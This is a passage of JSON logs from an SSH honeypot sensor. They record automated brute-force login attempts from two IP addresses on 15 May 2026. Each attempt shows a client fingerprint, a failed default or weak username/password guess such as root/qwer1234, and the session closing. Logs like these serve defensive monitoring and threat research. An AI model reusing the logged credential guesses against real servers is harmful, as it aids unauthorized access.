0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:23.373129Z","src_ip":"45.153.34.114","session":"f3c85cc1688e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:23.591904Z","src_ip":"103.75.199.4","session":"063fd6f2375d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:23.704091Z","src_ip":"45.153.34.114","session":"f3c85cc1688e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:24.797299Z","src_ip":"45.153.34.114","session":"f3c85cc1688e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50970,"dst_ip":"159.203.135.109","dst_port":22,"session":"6656b35dbc87","protocol":"ssh","message":"New connection: 45.153.34.114:50970 (159.203.135.109:22) [session: 6656b35dbc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:31.479346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:31.484688Z","src_ip":"45.153.34.114","session":"6656b35dbc87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:31.634442Z","src_ip":"45.153.34.114","session":"6656b35dbc87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:31.929222Z","src_ip":"45.153.34.114","session":"6656b35dbc87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:33.021794Z","src_ip":"45.153.34.114","session":"6656b35dbc87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34624,"dst_ip":"159.203.135.109","dst_port":22,"session":"529f58aca1e3","protocol":"ssh","message":"New connection: 45.153.34.114:34624 (159.203.135.109:22) [session: 529f58aca1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:39.678023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:39.712738Z","src_ip":"45.153.34.114","session":"529f58aca1e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:39.763900Z","src_ip":"45.153.34.114","session":"529f58aca1e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:40.099463Z","src_ip":"45.153.34.114","session":"529f58aca1e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:41.198421Z","src_ip":"45.153.34.114","session":"529f58aca1e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42002,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a1c9ec22531","protocol":"ssh","message":"New connection: 103.75.199.4:42002 (159.203.135.109:22) [session: 3a1c9ec22531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:44.031684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:44.036336Z","src_ip":"103.75.199.4","session":"3a1c9ec22531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:44.131686Z","src_ip":"103.75.199.4","session":"3a1c9ec22531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:44.418231Z","src_ip":"103.75.199.4","session":"3a1c9ec22531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:45.517130Z","src_ip":"103.75.199.4","session":"3a1c9ec22531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34638,"dst_ip":"159.203.135.109","dst_port":22,"session":"77bd38ebc3db","protocol":"ssh","message":"New connection: 45.153.34.114:34638 (159.203.135.109:22) [session: 77bd38ebc3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:48.118354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:48.122176Z","src_ip":"45.153.34.114","session":"77bd38ebc3db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:48.206541Z","src_ip":"45.153.34.114","session":"77bd38ebc3db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:48.470236Z","src_ip":"45.153.34.114","session":"77bd38ebc3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:49.556779Z","src_ip":"45.153.34.114","session":"77bd38ebc3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47620,"dst_ip":"159.203.135.109","dst_port":22,"session":"b56e6d3d0551","protocol":"ssh","message":"New connection: 45.153.34.114:47620 (159.203.135.109:22) [session: b56e6d3d0551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:56.038978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:56.043774Z","src_ip":"45.153.34.114","session":"b56e6d3d0551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:56.130942Z","src_ip":"45.153.34.114","session":"b56e6d3d0551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:56.400914Z","src_ip":"45.153.34.114","session":"b56e6d3d0551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:57.492083Z","src_ip":"45.153.34.114","session":"b56e6d3d0551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34910,"dst_ip":"159.203.135.109","dst_port":22,"session":"b951e97ebbae","protocol":"ssh","message":"New connection: 45.153.34.114:34910 (159.203.135.109:22) [session: b951e97ebbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:04.382447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:04.387004Z","src_ip":"45.153.34.114","session":"b951e97ebbae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:04.472575Z","src_ip":"45.153.34.114","session":"b951e97ebbae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:04.885701Z","src_ip":"45.153.34.114","session":"b951e97ebbae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":37062,"dst_ip":"159.203.135.109","dst_port":22,"session":"110cbcc68bc1","protocol":"ssh","message":"New connection: 103.75.199.4:37062 (159.203.135.109:22) [session: 110cbcc68bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:05.904235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:05.909579Z","src_ip":"103.75.199.4","session":"110cbcc68bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:05.976023Z","src_ip":"45.153.34.114","session":"b951e97ebbae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:06.001173Z","src_ip":"103.75.199.4","session":"110cbcc68bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:06.277939Z","src_ip":"103.75.199.4","session":"110cbcc68bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:07.374131Z","src_ip":"103.75.199.4","session":"110cbcc68bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47698,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceb72ff661ec","protocol":"ssh","message":"New connection: 45.153.34.114:47698 (159.203.135.109:22) [session: ceb72ff661ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:12.237309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:12.242596Z","src_ip":"45.153.34.114","session":"ceb72ff661ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:12.327025Z","src_ip":"45.153.34.114","session":"ceb72ff661ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:12.663085Z","src_ip":"45.153.34.114","session":"ceb72ff661ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:13.757119Z","src_ip":"45.153.34.114","session":"ceb72ff661ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43024,"dst_ip":"159.203.135.109","dst_port":22,"session":"632f02a4fa19","protocol":"ssh","message":"New connection: 45.153.34.114:43024 (159.203.135.109:22) [session: 632f02a4fa19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:20.304703Z"}
